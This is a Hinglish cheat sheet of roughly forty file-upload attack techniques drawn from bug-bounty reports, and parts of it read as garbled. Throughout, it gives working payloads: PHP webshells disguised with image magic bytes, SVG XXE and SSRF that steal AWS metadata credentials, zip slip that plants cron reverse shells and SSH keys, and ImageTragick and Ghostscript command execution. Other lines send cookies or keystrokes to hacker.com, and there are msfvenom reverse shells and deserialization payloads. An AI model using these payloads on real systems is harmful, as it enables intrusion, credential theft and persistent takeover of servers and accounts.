40 Reports - Magic Bytes - Extension Bypass - SVG XXE - Phar - ImageTragick - Race Condition - SSRF - Polyglot - Zip Slip - Ghostscript - Total Bounty: $200,000+
shell.php upload - "Invalid File Content".
Server file ke "DNA" (Magic Bytes) check karta. Fix: PHP file ke start mein JPEG magic bytes
FF D8 FF E0 dalo + Content-Type: image/jpeg
spoof. Server socha "Image hai" - upload accept - /uploads/shell.php?cmd=id - uid=0(root). Full
RCE!Content-Type: application/x-php to image/jpeg
GIF89a; (GIF) ya JPEG hex values dalo.
shell.php Blocked. shell.php.jpg upload. Apache Right-to-Left read - .jpg unknown - .php
execute! Nginx trick: /uploads/cat.jpg/.php bhi kaam karta hai
(FastCGI Bypass)!shell.php.jpg, shell.php.png, shell.php.gif.
shell.php%00.jpg (PHP < 5.3).
.php5, .phtml, .phar,
.PhP case mixing.
shell.php. (Windows), shell.php
(misconfigured).
/uploads/image.jpg/.php if cgi.fix_pathinfo=1.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg.
File 100% valid JPEG dikhti hai. Nginx trick (/photo.jpg/.php) se
execution force karo - Full RCE!Comment, Artist, DocumentName fields target karo.
<script>alert(1)</script> (Second-Order XSS).
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+ <text>&xxe;</text>. Server render karta hai - logo
ki jagah root:x:0:0 list dikh gayi!file:///etc/passwd (Linux), file:///C:/Windows/win.ini (Windows).
http://169.254.169.254/latest/meta-data/ (AWS).
<script> tag se XSS try karo.
image.jpg.
Trigger: phar://uploads/image.jpg. Backend file_exists() call - PHP unserialize - command execute - Full RCE!
phar://, zip://, gopher:// accept ho raha hai?
GIF89a ya JPEG bytes dalo taaki server image maane.
phar:// prefix dalo.
system("convert " + filename + " -resize 100x100"). Filename: image.jpg; sleep 10; .jpg. Bash dekha ; - pehle
convert, phir sleep 10 execute - Response 10.2s delay = RCE!file.jpg;sleep 10;
file.jpg`whoami`.jpg ya $(id).jpg
<script>alert(1)</script>.png agar filename screen par
dikhta hai.
../../../etc/passwd as filename.
; block? %0a (Newline) ya & use karo.
s3.amazonaws.com/target-uploads/user123/photo.jpg. Filename: ../user456/profile.jpg - Path traversal success! Bucket root browse - XML
listing - saare users ke KYC docs, Passports exposed!s3.amazonaws.com
ya storage.googleapis.com se load ho raha?
../ dalo, dusre folder mein upload hoti hai?
Signature=... expire ho raha ya permanent?
../../../../var/www/html/evil.php. Server extract kiya - file
/uploads/course_1/ se bahar nikal kar /var/www/html/ mein land! Full RCE!.zip,
.tar, .gz, .jar
formats.
python evilarc.py -o unix -p var/www/html/ shell.php
/etc/passwd point kare.
.jpg par andar MVG code. ImageMagick ko
url() ke andar string shell command lagi - shell.sh download + execute =
Full System Compromise!X-Powered-By
ya error mein ImageMagick ka naam?
push graphic-context + extension .jpg.
<image xlink:href="..."> se SSRF check.
fill 'url(https://...; sleep 10)' se time-based confirm.
backdoor.php permanent! Server ne race.php uda di par backdoor ka pata
nahi chala!/tmp/, /uploads/temp/, /var/www/html/tmp/.
x.open("GET","file:///etc/passwd"); x.send(). Thumbnail mein root:x:0:0 text! Cloud: http://169.254.169.254/latest/meta-data/iam/security-credentials/ - AWS
keys leaked!file:///etc/passwd, C:/windows/win.ini.
<iframe src="http://internal-ip"> se HTML-to-PDF
Injection.
<svg><script>fetch('https://hacker.com/log?c='+document.cookie)</script></svg>.
Direct link share - victim open - browser SVG render - script execute - session cookie churaya -
Account Takeover!image/svg+xml bhej raha hai?
attachment hai toh XSS fail.
<svg onload="alert(1)"> agar script block.
<foreignObject> ke andar chhupao.
Content-Length validation. Attack: 100
concurrent 1GB streams + Pixel Flood (65535x65535 image = ImageMagick RAM crash) + Zip Bomb
(100KB zip - 10GB extract). Server - OOM - 503!999999999 dalo.
/files/download?id=9958. Intruder se
id=9000..10000 brute-force - Server bina session check ke saari files di
- Passports, Credit Cards!IMG_1.jpg, 101.pdf jaisa simple pattern?
profile.jpg ke andar HTML code. Employee ne link
khola - browser magic bytes ignore - HTML render - fake login page dikhi - password enter kiya -
hacker ke paas credentials!<html> tags inject karo.
nosniff hai toh attack fail.
text/html ya image/jpeg bhej raha?
.html.jpg ya
.htm.png se confuse.
input[value^="a"]{background-image:url("hacker.com/log?char=a")}. Jab
victim form bharta hai, CSS har character check karta aur hacker ke server par ping.
Password/Token character-by-character leak! Bina JS ke!<img> mein hai ya seedha HTML mein?
body{display:none} dalo. Site gayab = jackpot!
background-image ya @import se external URL
ping.
/* */ aur encoding use karo.
=2+5 - Excel
mein 7 dikha = formula execute. DDE payload: =DDE("cmd";"/c calc.exe";"__DDE_TEST__"). Admin ne "Enable Content" click -
Calculator khuli! Real: powershell.exe se reverse shell!=SUM(1,2), -5+5, @SUM(1,2).
=,
+, -, @ se
shuru.
=IMPORTXML("hacker.com?d="&A1,"//a").
'=SUM(1,2)
(leading apostrophe) try karo.
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role.
Backend socha "Image URL hai" - request bheji - Access Key, Secret Key, Session Token mile -
Full Cloud Takeover!http://127.0.0.1:80, http://localhost:22 port
scan.
169.254.169.254 hamesha try karo.
gopher://
support karta hai? SQLi/Redis hack!
<iframe src="http://172.16.0.1:8080/jenkins" width="800">. Server
internal network mein - Jenkins bina password ke dikh gaya - PDF mein screenshot embed!<iframe src="...">, <object data="...">.
http://0.0.0.0,
Decimal IP http://2130706433.
{{7*7}}.jpg upload - Server reply:
"Success: 49.jpg uploaded!" Math calculate kiya = Jinja2 engine. RCE Filename:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}.jpg
- Full RCE!${7*7}, {{7*7}}, <%= 7*7 %> try karo.
. ya _ block? request['args'] se pass.
.jpg par andar PostScript + /OutputFile (%pipe%id) .putdeviceparams. %pipe%
command Ghostscript ko shell mein bhejta - error mein uid=33(www-data)
print! Full RCE!.eps, .pdf, .ps, .ai allow?
%!PS-Adobe dalo, extension .jpg rakho.
/etc/passwd read try karo.
a123b.jpg sequential pattern!
Server: MD5(Username + CurrentTime). Admin avatar URL dhoondha - same
hash generate karke shell upload - server ne purani file overwrite - admin avatar page = shell
execute!Date
header se timestamp match karo.
config.php upload karo!
-IPTC:Caption-Abstract='<script src="bhai.xss.ht"></script>'.
Image support ticket mein upload. 3 din baad - XSS Hunter ping - Admin Panel URL + Cookies +
Screenshot! Full CMS Takeover!"> dalo attribute se bahar niklo.
.m3u8 renamed to .mp4. FFmpeg ne /etc/passwd ko "video segment" samjha - output video ke frames mein
Sensitive Users List render!.m3u8,
.pls files.
file:///etc/passwd, C:/Windows/win.ini.
file://
block? concat se do files join karo.
@font-face{src:url('http://169.254.169.254/latest/meta-data/iam/...')}.
Server preview banane mein "font fetch" kiya - internal metadata request - AWS IAM Credentials
fetch!<!ENTITY> allow? XXE + SSRF!
ln -s /etc/passwd link.txt. Server extract kiya - link.txt ko read kiya - actual /etc/passwd content
return! Database config, API keys sab readable!ln -s /etc/passwd link.txt && tar czf evil.tar.gz link.txt
/proc/self/environ, .env, config.php.
/etc/ folder link karo.
OPTIONS /uploads/ response: Allow: GET, POST, PUT, DELETE. PUT method enabled! curl -X PUT -d '<?php system($_GET["c"])?>' target.com/uploads/shell.php
- 201 Created - Direct shell upload bina form ke!Allow
header mein PUT/DELETE hai?
curl -X PUT -d 'test' target.com/uploads/test.txt
.php block? .phtml, .php5
try karo.
<script> block. Par
<foreignObject> ke andar <body xmlns="http://www.w3.org/1999/xhtml" onload="alert(document.cookie)">
- Sanitizer ne miss kiya - XSS execute!/var/www/html/index.php. Server ne path sanitize nahi kiya - file seedha
web root mein land! Cron file overwrite: /etc/cron.d/reverse - har minute
reverse shell! SSH key plant: /root/.ssh/authorized_keys - permanent
access!/tmp/test.txt dalo, file wahan bani?
/var/www/html/shell.php direct RCE.
.htaccess, nginx.conf, php.ini.
/etc/cron.d/ mein scheduled reverse shell.
authorized_keys mein apni key add karo.
.htaccess upload: AddType application/x-httpd-php .jpg. Ab saari .jpg files PHP execute! Ya:
php_value auto_prepend_file /etc/passwd - har page par passwd leak!.jpg
ko PHP execute bana do.
None
hai toh .htaccess ignore hoga.
web.config upload: handlers section mein .jpg ko ASPX handler se map. Ab image URL browse = code execute! IIS ka
.htaccess equivalent!Server: Microsoft-IIS header check.
[Content_Types].xml
mein XXE entity inject - Rezip karo - Upload. Server parse karta hai - XXE trigger - /etc/passwd ya AWS keys leak! Resume parsers sabse vulnerable!unzip resume.docx se XML files extract.
[Content_Types].xml + document.xml mein.
msfvenom -p java/jsp_shell_reverse_tcp -f war -o shell.war. Deploy via
Manager - /shell/ URL available - Full server RCE!/manager/html, /jmx-console/ check.
tomcat:tomcat, admin:admin.
curl --upload-file shell.war Tomcat deploy API.
!!python/object/apply:os.system ['id']. Server yaml.load() (unsafe) use karta - Python object deserialize - os.system('id') execute - RCE!!!python/object/apply:os.system
!!ruby/object:Gem::Installer
yaml.safe_load() use ho raha toh attack fail.
<?php system($_GET['c'])?>.jpg. Server log: [ERROR] Invalid file: <?php system...>.jpg. LFI se log include: ?page=../../../../var/log/apache2/error.log - PHP code execute from log!
/var/log/apache2/, /var/log/nginx/.
/var/log/mail.log poison.
/tmp/sess_PHPSESSID mein code inject.
require('child_process').exec('calc.exe') - Node.js
context mein RCE! Desktop apps ka sabse dangerous attack!resources/app.asar file structure check.
npx asar pack ./malicious app.asar
image%0d%0aSet-Cookie:admin=true%0d%0a.jpg. Server filename ko
Content-Disposition header mein reflect karta - CRLF se nayi header inject - Cookie set karke
session hijack!%0d%0a se new
header line create.
Set-Cookie: admin=true inject.
%0d%0a%0d%0a<script>).